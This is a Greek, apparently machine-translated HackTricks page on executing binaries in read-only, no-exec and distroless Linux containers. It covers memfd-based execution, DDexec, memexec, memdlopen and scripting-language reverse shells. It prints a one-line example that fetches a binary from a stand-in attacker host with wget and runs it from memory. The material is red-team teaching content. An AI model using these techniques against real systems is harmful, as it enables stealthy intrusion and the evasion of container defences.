.. | ||
ddexec.md | ||
README.md |
Παράκαμψη προστασιών FS: μόνο για ανάγνωση / χωρίς εκτέλεση / Distroless
Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!
Άλλοι τρόποι υποστήριξης του HackTricks:
- Αν θέλετε να δείτε την εταιρεία σας διαφημισμένη στο HackTricks ή να κατεβάσετε το HackTricks σε μορφή PDF ελέγξτε τα ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ!
- Αποκτήστε το επίσημο PEASS & HackTricks swag
- Ανακαλύψτε την Οικογένεια PEASS, τη συλλογή μας από αποκλειστικά NFTs
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα τηλεγραφήματος ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα HackTricks και HackTricks Cloud αποθετήρια του github.
Αν σας ενδιαφέρει η καριέρα στο χάκινγκ και το χάκαρισμα του αχάκαρτου - σας προσλαμβάνουμε! (απαιτείται άριστη γνώση γραπτού και προφορικού Πολωνικού).
{% embed url="https://www.stmcyber.com/careers" %}
Βίντεο
Στα παρακάτω βίντεο μπορείτε να βρείτε τις τεχνικές που αναφέρονται σε αυτήν τη σελίδα εξηγημένες πιο αναλυτικά:
- DEF CON 31 - Εξερευνώντας τη Μετασχηματισμό Μνήμης Linux για Κρυψώνεια και Αποφυγή
- Κρυφές εισβολές με το DDexec-ng & in-memory dlopen() - HackTricks Track 2023
Σενάριο μόνο για ανάγνωση / χωρίς εκτέλεση
Είναι όλο και πιο συνηθισμένο να βρίσκουμε μηχανές Linux που έχουν τοποθετηθεί με προστασία μόνο για ανάγνωση (ro) του συστήματος αρχείων, ειδικά σε containers. Αυτό συμβαίνει επειδή η εκτέλεση ενός container με ro σύστημα αρχείων είναι τόσο εύκολη όσο η ρύθμιση readOnlyRootFilesystem: true
στο securitycontext
:
apiVersion: v1
kind: Pod
metadata:
name: alpine-pod
spec:
containers:
- name: alpine
image: alpine
securityContext:
readOnlyRootFilesystem: true
command: ["sh", "-c", "while true; do sleep 1000; done"]
Ωστόσο, ακόμη κι αν το σύστημα αρχείων είναι τοποθετημένο ως ro, το /dev/shm
θα παραμείνει εγγράψιμο, οπότε είναι ψεύτικο ότι δεν μπορούμε να γράψουμε τίποτα στο δίσκο. Ωστόσο, αυτός ο φάκελος θα είναι τοποθετημένος με προστασία χωρίς εκτέλεση, οπότε αν κατεβάσετε ένα δυαδικό αρχείο εδώ δεν θα μπορείτε να το εκτελέσετε.
{% hint style="warning" %}
Από την οπτική γωνία μιας κόκκινης ομάδας, αυτό κάνει πιο περίπλοκο το να κατεβάσετε και να εκτελέσετε δυαδικά που δεν υπάρχουν ήδη στο σύστημα (όπως backdoors ή εργαλεία όπως το kubectl
).
{% endhint %}
Ευκολότερη παράκαμψη: Σενάρια
Σημειώστε ότι ανέφερα δυαδικά, μπορείτε να εκτελέσετε οποιοδήποτε σενάριο όσο το διερμηνέα είναι μέσα στη μηχανή, όπως ένα σενάριο κελύφους αν το sh
είναι παρόν ή ένα σενάριο Python αν έχει εγκατασταθεί το python
.
Ωστόσο, αυτό δεν είναι αρκετό μόνο για να εκτελέσετε το δυαδικό backdoor σας ή άλλα δυαδικά εργαλεία που ίσως χρειαστεί να τρέξετε.
Παρακάμψεις Μνήμης
Αν θέλετε να εκτελέσετε ένα δυαδικό αλλά το σύστημα αρχείων δεν το επιτρέπει, ο καλύτερος τρόπος να το κάνετε είναι με το να το εκτελέσετε από τη μνήμη, καθώς οι προστασίες δεν ισχύουν εκεί.
Παράκαμψη FD + exec syscall
Αν έχετε ισχυρούς μηχανισμούς σεναρίων μέσα στη μηχανή, όπως Python, Perl ή Ruby, μπορείτε να κατεβάσετε το δυαδικό για εκτέλεση από τη μνήμη, να το αποθηκεύσετε σε έναν περιγραφέα αρχείου μνήμης (create_memfd
syscall), ο οποίος δεν θα προστατεύεται από αυτές τις προστασίες, και στη συνέχεια να καλέσετε ένα exec
syscall δείχνοντας το fd ως το αρχείο προς εκτέλεση.
Για αυτό μπορείτε εύκολα να χρησιμοποιήσετε το έργο fileless-elf-exec. Μπορείτε να του περάσετε ένα δυαδικό και θα δημιουργήσει ένα σενάριο στη γλώσσα που υποδεικνύετε με το δυαδικό συμπιεσμένο και κωδικοποιημένο σε b64 με τις οδηγίες για το αποκωδικοποίηση και αποσυμπίεση του σε ένα fd που δημιουργείται καλώντας το create_memfd
syscall και μια κλήση στο exec syscall για να το εκτελέσει.
{% hint style="warning" %}
Αυτό δεν λειτουργεί σε άλλες γλώσσες σεναρίων όπως PHP ή Node επειδή δεν έχουν κανέναν προεπιλεγμένο τρόπο να καλέσουν raw syscalls από ένα σενάριο, οπότε δεν είναι δυνατό να καλέσουν το create_memfd
για να δημιουργήσουν το fd μνήμης για να αποθηκεύσουν το δυαδικό.
Επιπλέον, η δημιουργία ενός κανονικού fd με ένα αρχείο στο /dev/shm
δεν θα λειτουργήσει, καθώς δεν θα σας επιτραπεί να το εκτελέσετε λόγω της προστασίας χωρίς εκτέλεση που θα εφαρμοστεί.
{% endhint %}
DDexec / EverythingExec
Το DDexec / EverythingExec είναι μια τεχνική που σάς επιτρέπει να τροποποιήσετε τη μνήμη της δικής σας διεργασίας με το να αντικαταστήσετε το /proc/self/mem
της.
Έτσι, ελέγχοντας τον κώδικα συναρμολόγησης που εκτελείται από τη διεργασία, μπορείτε να γράψετε ένα shellcode και "μεταλλάξετε" τη διεργασία για να εκτελέσει οποιοδήποτε αυθαίρετο κώδικα.
{% hint style="success" %} Το DDexec / EverythingExec θα σας επιτρέψει να φορτώσετε και να εκτελέσετε το δικό σας shellcode ή οποιοδήποτε δυαδικό από τη μνήμη. {% endhint %}
# Basic example
wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo bar
MemExec
Memexec είναι το φυσικό επόμενο βήμα του DDexec. Είναι ένα DDexec shellcode demonised, οπότε κάθε φορά που θέλετε να εκτελέσετε ένα διαφορετικό δυαδικό αρχείο δεν χρειάζεται να ξαναξεκινήσετε το DDexec, μπορείτε απλά να εκτελέσετε το shellcode του memexec μέσω της τεχνικής DDexec και στη συνέχεια να επικοινωνήσετε με αυτό το δαίμονα για να περάσετε νέα δυαδικά αρχεία για φόρτωση και εκτέλεση.
Μπορείτε να βρείτε ένα παράδειγμα για το πώς να χρησιμοποιήσετε το memexec για να εκτελέσετε δυαδικά αρχεία από ένα αντίστροφο κέλυφος PHP στο https://github.com/arget13/memexec/blob/main/a.php.
Memdlopen
Με παρόμοιο σκοπό με το DDexec, η τεχνική memdlopen επιτρέπει έναν ευκολότερο τρόπο φόρτωσης δυαδικών αρχείων στη μνήμη για να τα εκτελέσετε αργότερα. Μπορεί ακόμη να επιτρέψει τη φόρτωση δυαδικών αρχείων με εξαρτήσεις.
Διασπορά Bypass
Τι είναι το distroless
Τα δοχεία distroless περιέχουν μόνο τα απαραίτητα ελάχιστα στοιχεία που απαιτούνται για την εκτέλεση μιας συγκεκριμένης εφαρμογής ή υπηρεσίας, όπως βιβλιοθήκες και εξαρτήσεις χρόνου εκτέλεσης, αλλά εξαιρούν μεγαλύτερα στοιχεία όπως έναν διαχειριστή πακέτων, κέλυφος ή διατηρητές συστήματος.
Ο στόχος των δοχείων distroless είναι να μειώσουν την επιφάνεια επίθεσης των δοχείων εξαλείφοντας τα περιττά στοιχεία και μειώνοντας τον αριθμό των ευπαθειών που μπορούν να εκμεταλλευτούν.
Αντίστροφο Κέλυφος
Σε ένα δοχείο distroless ενδέχεται να μην βρείτε ούτε το sh
ούτε το bash
για να λάβετε ένα κανονικό κέλυφος. Δεν θα βρείτε επίσης δυαδικά όπως το ls
, whoami
, id
... όλα όσα συνήθως εκτελείτε σε ένα σύστημα.
{% hint style="warning" %} Συνεπώς, δεν θα μπορέσετε να λάβετε ένα αντίστροφο κέλυφος ή να απαριθμήσετε το σύστημα όπως συνήθως κάνετε. {% endhint %}
Ωστόσο, αν το υποβαθμισμένο δοχείο εκτελεί, για παράδειγμα, έναν ιστό flask, τότε το python είναι εγκατεστημένο, και μπορείτε να αποκτήσετε ένα αντίστροφο κέλυφος Python. Αν εκτελείτε node, μπορείτε να αποκτήσετε ένα Node αντίστροφο κέλυφος, και το ίδιο με σχεδόν οποιαδήποτε γλώσσα σεναρίωσης.
{% hint style="success" %} Χρησιμοποιώντας τη γλώσσα σεναρίωσης μπορείτε να απαριθμήσετε το σύστημα χρησιμοποιώντας τις δυνατότητες της γλώσσας. {% endhint %}
Αν δεν υπάρχουν προστασίες μόνο για ανάγνωση/χωρίς εκτέλεση
μπορείτε να καταχραστείτε το αντίστροφο κέλυφος σας για εγγραφή στο σύστημα αρχείων των δυαδικών σας και να τα εκτελέσετε.
{% hint style="success" %} Ωστόσο, σε αυτού του είδους τα δοχεία αυτές οι προστασίες συνήθως υπάρχουν, αλλά μπορείτε να χρησιμοποιήσετε τις προηγούμενες τεχνικές εκτέλεσης μνήμης για να τις παρακάμψετε. {% endhint %}
Μπορείτε να βρείτε παραδείγματα για το εκμετάλλευση ορισμένων ευπαθειών RCE για να λάβετε αντίστροφα κέλυφα γλωσσών σεναρίωσης και να εκτελέσετε δυαδικά από τη μνήμη στο https://github.com/carlospolop/DistrolessRCE.